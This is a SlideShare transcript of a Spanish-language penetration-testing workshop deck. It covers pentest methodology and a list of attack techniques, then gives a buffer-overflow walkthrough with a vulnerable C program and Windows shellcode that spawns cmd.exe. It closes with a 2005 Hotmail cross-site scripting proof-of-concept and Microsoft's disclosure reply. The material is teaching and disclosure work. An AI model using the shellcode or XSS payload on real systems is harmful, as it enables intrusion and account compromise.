Pen test: El arte de la guerra

2,519 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,519
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
52
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Pen test: El arte de la guerra

  1. 1. PEN<br />TEST<br />WorkShop<br />El Arte de la Guerra<br />Vicente Chi Pérez<br />Luis Alberto Cortes<br />
  2. 2. PEN<br />TEST<br />AGENDA<br />WORKSHOP<br />20 Min: Que es un Pentest?<br />40 Min: Be a Lulzsecguyfor a while!!!!<br />60 Min: Betterthananonymous!!!.<br />20 Min: Preguntas y respuestas.<br />
  3. 3. PEN<br />TEST<br />ACTIVIDADES<br />WORKSHOP<br />RIESGOS DE LA SEGURIDAD CORPORATIVA<br />PRUEBAS DE PENETRACION<br />TIPOS DE PRUEBAS<br />ESTRUCTURA DE UN PENTEST <br />TECNICAS BASICAS DE HACKEO<br />HACKING !!!!!<br />CONCLUSIONES<br />
  4. 4. PEN<br />TEST<br />SEGURIDAD CORPORATIVA<br />WORKSHOP<br />PROBLEMAS<br /><ul><li>En la experiencia general el 98% de las empresas son muy vulnerables a ataques simples, el 2 % restante son vulnerables a ataques especializados.
  5. 5. El mismo numero 98% desconoce la forma de pensar y las técnicas usadas por los atacantes.
  6. 6. En la actualidad el hacking ha crecido mas como una actividad delictiva y enfocada a ciertos blancos.
  7. 7. El hacker tiene todo el tiempo que desee para buscar la forma de atacar y solo tiene que encontrar 1 error, el CSO tiene muchas responsabilidades y verificar cada paso y proceso tecnológico y solo tiene que cometer 1 error.</li></ul>RIESGOS<br /><ul><li>Reputación, perdida de confianza e imagen.
  8. 8. Perdida o modificación de datos.
  9. 9. Incumplimiento de regulaciones (SOX, CNBV, LFPDPPP, etc.)
  10. 10. Robo de identidad o datos sensibles (Datos Identificables, Crediticios, Patrimoniales, etc.)
  11. 11. Espionaje industrial.
  12. 12. Muchos Otros…</li></li></ul><li>PEN<br />TEST<br />PRUEBAS DE PENETRACION<br />WORKSHOP<br />OBJETIVOS<br /><ul><li>En las prueba de penetración se actúa como atacante malicioso, tomándose el tiempo necesario de buscar todas las vulnerabilidades posibles, para preparar y evaluar la empresa para resistir ataques comunes y dirigidos.</li></ul>FINALIDAD<br /><ul><li>Lograr el acceso con el máximo privilegio posible a través de conocimientos técnicos avanzados con un equipo multidisciplinario (Tiger Teaming), a datos privados y sensibles, apoyando con soluciones para permitir minimizar el riesgo y determinar las posibilidades reales de un ataque. </li></ul>REQUERIMIENTOS PARA EL CONSULTOR<br /><ul><li>Conocimiento de redes.
  13. 13. Conocimiento de sistemas operativos.
  14. 14. Conocimiento de desarrollo.
  15. 15. Conocimiento de ingeniería en reversa.
  16. 16. Conocimiento de herramientas.
  17. 17. Conocimiento de °!#$#&&/&()&))==?((#234</li></ul>Contraten Hackers!<br />Microsoft, Mcafee, Symantec,<br />USA DoD, NSA, Kaspersky, etc.<br />
  18. 18. PEN<br />TEST<br />TIPOS DE PRUEBAS<br />WORKSHOP<br />GENERAL (EXTERNA O INTERNA)<br /><ul><li>WHITE BOX
  19. 19. Con el conocimiento de la infraestructura.
  20. 20. Tiene menos riesgos pues se sabe que sistemas atacar y por donde.
  21. 21. GREY BOX
  22. 22. Conocimiento parcial de la infraestructura.
  23. 23. Tienes riesgos bajos ya que abra que hacer intentos de prueba y error.
  24. 24. BLACK BOX
  25. 25. Sin conocimiento alguno de la infraestructura.
  26. 26. Implica un riesgo alto, ya que no solo alentar las comunicaciones por el trafico a generarse al hacer trabajo intenso de búsquedas, si no que también corre riesgos al poder detener la producción completa de una empresa con ataques no esperados.</li></ul>ESPECIALIZADA<br /><ul><li>Web Application Penetration Test.
  27. 27. Application Vulnerability Assessment.
  28. 28. Source Code Security Analysis.
  29. 29. Wi-Fi Penetration Testing
  30. 30. Social Engineering.
  31. 31. Physical Security.
  32. 32. Industrial Espionage.
  33. 33. Vulnerability Assessment.</li></li></ul><li>PEN<br />TEST<br />ESTRUCTURA<br />WORKSHOP<br />Existen diversas metodologías de seguridad a seguir:<br /><ul><li>Open Source Security Testing Methodology Manual (OSSTMM)
  34. 34. Open Web Application Security Project (OWASP)
  35. 35. National Institute of Standards and Technology-SP800-115 (NIST)
  36. 36. Information Systems Security Assessment Framework (ISSAF)</li></ul>Que se hace en un Pentest?<br />1.- Objetivos<br /><ul><li>Establecer metas.
  37. 37. Establecer blancos.
  38. 38. Detectar necesidades</li></ul>2.- Recopilación<br /><ul><li>Google, DNS, Footprint.
  39. 39. Social Engineering.
  40. 40. Metadatos (Archivos)</li></ul>3.- Enumeración<br /><ul><li>Port Scanning, Vuln Scan
  41. 41. Services & Applications
  42. 42. Users & Groups</li></ul>4.- Explotación<br /><ul><li>System Hacking
  43. 43. Evidence
  44. 44. Physical Intrusion</li></ul>6.- Dark Side Hacker<br /><ul><li>Root kits, Key loggers
  45. 45. Evidence Cleaning
  46. 46. Access Concession</li></ul>5.- Documentación<br /><ul><li>Executive Summary
  47. 47. Technical Details
  48. 48. Recommendations</li></li></ul><li>PEN<br />TEST<br />REPORTE<br />WORKSHOP<br />Que debe contener un reporte de un Pen Test:<br /><ul><li>Introduction
  49. 49. Testing Team Details (Names, Contacts, Expertise)
  50. 50. Client Details (Details: network, servers, workstations, AD)
  51. 51. Scope of Testing
  52. 52. Purpose & Type (Assessment, New Implementation, Compliance, Security Pen Test)
  53. 53. Category (White box, Black Box, Grey Box)
  54. 54. Executive Summary (Brief)
  55. 55. Security Issues (With Critical level)
  56. 56. OS
  57. 57. Exploited & Unexploited
  58. 58. Application & Web
  59. 59. Exploited & Unexploited
  60. 60. Physical (Facilities)
  61. 61. Exploited & Unexploited
  62. 62. Personnel (Social Engineering)
  63. 63. Exploited & Unexploited
  64. 64. General
  65. 65. Exploited & Unexploited
  66. 66. Technical Summary
  67. 67. OS Security, Web Security, Database Security, Application Security, Business Security , Policies and Procedures
  68. 68. Risk & Recommendations</li></li></ul><li>PEN<br />TEST<br />PENTEST = HACKING<br />WORKSHOP<br />"You don't know the power of the dark side!" <br />-DarthVader<br />
  69. 69. PEN<br />TEST<br />TECNICAS BASICAS DE HACKEO<br />WORKSHOP<br />DOS, DDOS<br />Buffer Overflows<br />StackOverflows<br />HeapOverflows<br />SmashingtheStack<br />AdjacentMemory<br />Off byOne<br /><ul><li>RaceConditions
  70. 70. FormatStrings
  71. 71. DoubleFrees
  72. 72. NullSessions
  73. 73. Spoofing
  74. 74. Sniffing
  75. 75. Zapping
  76. 76. BruteForcing
  77. 77. Web</li></ul>SqlInjections<br />XXS Cross Scripting Site<br />SessionHijacking<br />Cookie hijacking &poisoning<br />PHP/ASP FileInclusion<br />PHP/ASP Includes<br />PHP/ASP Null Byte<br />PHP Global Vars<br />Alternate Data Stream<br />Google Hacking<br /><ul><li>Man in TheMiddle</li></ul>ARP Poisoning<br />SMB Relay<br />HTTPS y SSH Relay<br /><ul><li>Wireless Hacking
  78. 78. ParameterTampering
  79. 79. InformationDisclosure
  80. 80. LandscapeDiscovery</li></ul>Portscanning<br />Banner Grabing<br />ServiceDiscovery<br /><ul><li>Virus & Cracking</li></ul>Worms<br />Backdoors<br />Caballos de Troya<br />Debugging<br />Dissasembling<br />Unpacking<br /><ul><li>Steganografia
  81. 81. Alternate Data Streams (filesystems)
  82. 82. Email Hacking</li></ul>FrameRelay<br />IdentityThief<br />
  83. 83. PEN<br />TEST<br />PRACTICA WEB<br />WORKSHOP<br /><ul><li>PHP/ASP
  84. 84. Inclusión de Archivos
  85. 85. Archivos de Backup (.BAK .INC ETC)
  86. 86. Inyección de código PHP
  87. 87. Errores de Configuración
  88. 88. Mala Técnica de Programación
  89. 89. SQL Injection
  90. 90. Cross Site Scripting</li></li></ul><li>PEN<br />TEST<br />HACKING<br />WORKSHOP<br />HACKING TIME!<br />Break 10 minutos<br />Download Files From:<br />http://www.securitynation.com/CPMX3.7z<br />Encontraran algo????<br />
  91. 91. PEN<br />TEST<br />EXPLOITS BUFFER OVERFLOWS<br />WORKSHOP<br />Definición<br />Insertar datos mas grandes que el máximo alocado en memoria, dando esto en el cambio de flujo del programa ya sea por corrupción del Extended Instruction Pointer (EIP) o funciones corruptas (Heap)<br />Porque Existen los BO<br />La forma en que la creación de sistemas operativos se enseña provee una optimización de lectura y escritura en la memoria, por lo cual es espacio se aloca de izquierda a derecha y se escribe en forma inversa.<br />Cada ves que un programa ejecuta una rutina el sistema operativo hace lo siguiente:<br />Guardar la dirección de la siguiente instrucción valida en EIP (4 Bytes, 0x77777777)<br />Guardar la dirección de las variables dentro de un puntero en EBP (4 Bytes, 0x77777777)<br />Alocar espacio para las variables de la función que se esta llamando (Depende del Buffer)<br />Una ves terminada la función, se llama al código que punta EIP (Valor guardado)<br />Y así sucesivamente…….<br />Por lo que si tomamos control de EIP, podemos decir que al terminar la función el programa ejecute como siguiente código lo que el hacker quiera.<br />
  92. 92. PEN<br />TEST<br />EXPLOITS BUFFER OVERFLOWS<br />WORKSHOP<br />#include <stdio.h> <br />#include <string.h> <br />intmain(intargc, char **argv) { <br />char buffer[20]; <br />strcpy(buffer, argv[1]); <br />printf("%sn", buffer); <br />}<br />PADDING<br />EIP<br />EBP<br />BUFFER 20 BYTES<br />SEH Handler<br />STACK<br />STACK<br />0xC0000005<br />0x45DF33AD<br />0x65D537AB<br />NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.<br />
  93. 93. PEN<br />TEST<br />EXPLOITS BUFFER OVERFLOWS<br />WORKSHOP<br /><ul><li>Técnicas Básicas:
  94. 94. JumpIntotheStack(la mas común utilizada en Linux)
  95. 95. Consiste en saltar directamente al payload o shellcode.
  96. 96. CallJumpStack(La mas común utilizada en Windows)
  97. 97. Consiste en saltar a una dirección estática de memoria que a su ves apunta a la direccion de nuestro payload o shellcode</li></ul>NTDL.dll<br />Kernel32.dll<br />USER32.dll<br />Call ESP<br />JMP ESP<br />PADDING<br />EIP<br />EBP<br />BUFFER 20 BYTES<br />SEH Handler<br />STACK - ESP<br />STACK - EAX<br />“AAAAAAAAAAAAAAAAAAAAAAAAAA”<br />0xC0000005<br />0x41414141<br />0x41414141<br />Dirección de la escritura en la memoria.<br />NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.<br />
  98. 98. PEN<br />TEST<br />SHELLCODES<br />WORKSHOP<br />System(cmd.exe)<br />“x55x8BxECx33xFFx57x83xECx08xC6x45xF8x63xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45x F8Xbbx44x80xBFx77xFFxD3”<br />System(cmd.exe)<br />0040B4EC |. 55 PUSH EBP # Aquí empieza nuestra shellcode<br />0040B4ED |. 8BEC MOV EBP,ESP<br />0040B4EF |. 33FF XOR EDI,EDI<br />0040B4F1 |. 57 PUSH EDI<br />0040B4F2 |. 83EC 08 SUB ESP,8<br />0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 # ”C”<br />0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D # ”M”<br />0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 # ”D”<br />0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E # ”.”<br />0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 # ”E”<br />0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 # ”X”<br />0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 # ”E”<br />0040B511 |. 8D45 F8 LEA eax,DWORD PTR SS:[EBP-8] #”CMD.EXE”<br />0040B514 |. 50 PUSH eax<br />0040B515 |. BB 4480BF77 MOV EBX, 76FDAB6B # Direccion del system() msvcrt.dll VISTA ESPAÑOL<br />0040B51A |. FFD3 CALL EBX # EJECUTA SYSTEM CON CMD.EXE DE PARAMETRO<br />
  99. 99. PEN<br />TEST<br />MAKING YOUR FIRST EXPLOT<br />WORKSHOP<br />“Hacktheplanet”<br />
  100. 100. PEN<br />TEST<br />CONCLUSIONES<br />WORKSHOP<br />Be OnetoDefeatOne<br /> Si no conoces hackers y no sabes como romper y atacar sistemas, como esperas defenderte de ello?<br />Cualquiera puede ser hacker<br /> No es ser un genio, es solo el gusto de aprender.<br />La cultura de la seguridad se esta perdiendo<br />Ya no hay investigación ni desarrollo, se necesita mas gente interesada<br />La mayoría de los avances tecnológicos han sido gracias a los hackers.<br />Los consultores de seguridad están prostituidos, cuantos realmente saben hacer exploits y son buenos técnicamente y cuantos, solo tienen el titulo o la certificación por saber usar herramientas ya hechas. (ósea nada nuevo)<br />Hackers famosos != Hackers buenos<br />SQL Injection = Lulzsec & anonymous<br />
  101. 101. PEN<br />TEST<br />PREGUNTAS ? (NO HOTMAIL)<br />WORKSHOP<br />De: Microsoft Security Response Center [mailto:secure@microsoft.com] <br />Enviado el: miércoles, 07 de septiembre de 2005 11:17<br />Para: Luis A. Cortes Zavala<br />CC: Microsoft Security Response Center<br />Asunto: RE: failurenotice [MSRC 5937sd]<br /><ul><li>Fallos XXS Hackeando Hotmail 26 de Abril 2005
  102. 102. Hotmail Cross SiteMessage Explore</li></ul>Proof of Concept<br />Hotmail Cross SiteMessage Explorer byNaPa<br />Security NationLabs – México<br />-----------------------------------------------------------------<br /><html><br /><head><br /></head><br /><body><br /><script><br />str1=document.URL;<br />str2=str1.split("?");<br />str3=str2[1];<br />str4=str3.split("&");<br />str5="http://by17fd.bay17.hotmail.msn.com/cgibin/<br />getmsg?msg=&start=&len=&mfs=&cmd=next&lastmsgid=";<br />str6=str4[2];<br />str7=str6.split("=");<br />str8=str7[1];<br />str9="&msgread=&etype=&wo=";<br />str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]<br />window.open(str10);<br /></script><br />hola napa<br /></body><br /></html><br />---------------------------------------------------------------------<br />Thanksforthefastreply Luis,<br />OK no problems I willprovideyouwithanupdatewhentheteamturnsonthe "a" attribute at theend of October.<br />Itssomethingwehavedifficultywithacknowledgingfindersforour online services, as wedon'tissue a securitybulletinforthem. <br />I apologizeforthis, maybe once thisisalloveryou can present at anyconference and discussthisissue and howwewentfrom a badsituationto a greatoutcome and youweretheresearcherthewholewayalongwhoworkedwith Microsoft tosecureits online systems? I don'tknow I am justthinkingaloud...<br />Cheers<br />Scott D.<br />
  103. 103. CONTACTO<br />Vicente Chi Pérez<br />vicente@securitynation.com<br />Luis Alberto Cortes<br />napa@securitynation.com<br />MSN: napa_topos@hotmail.com<br />GRA<br />CIAS<br />

×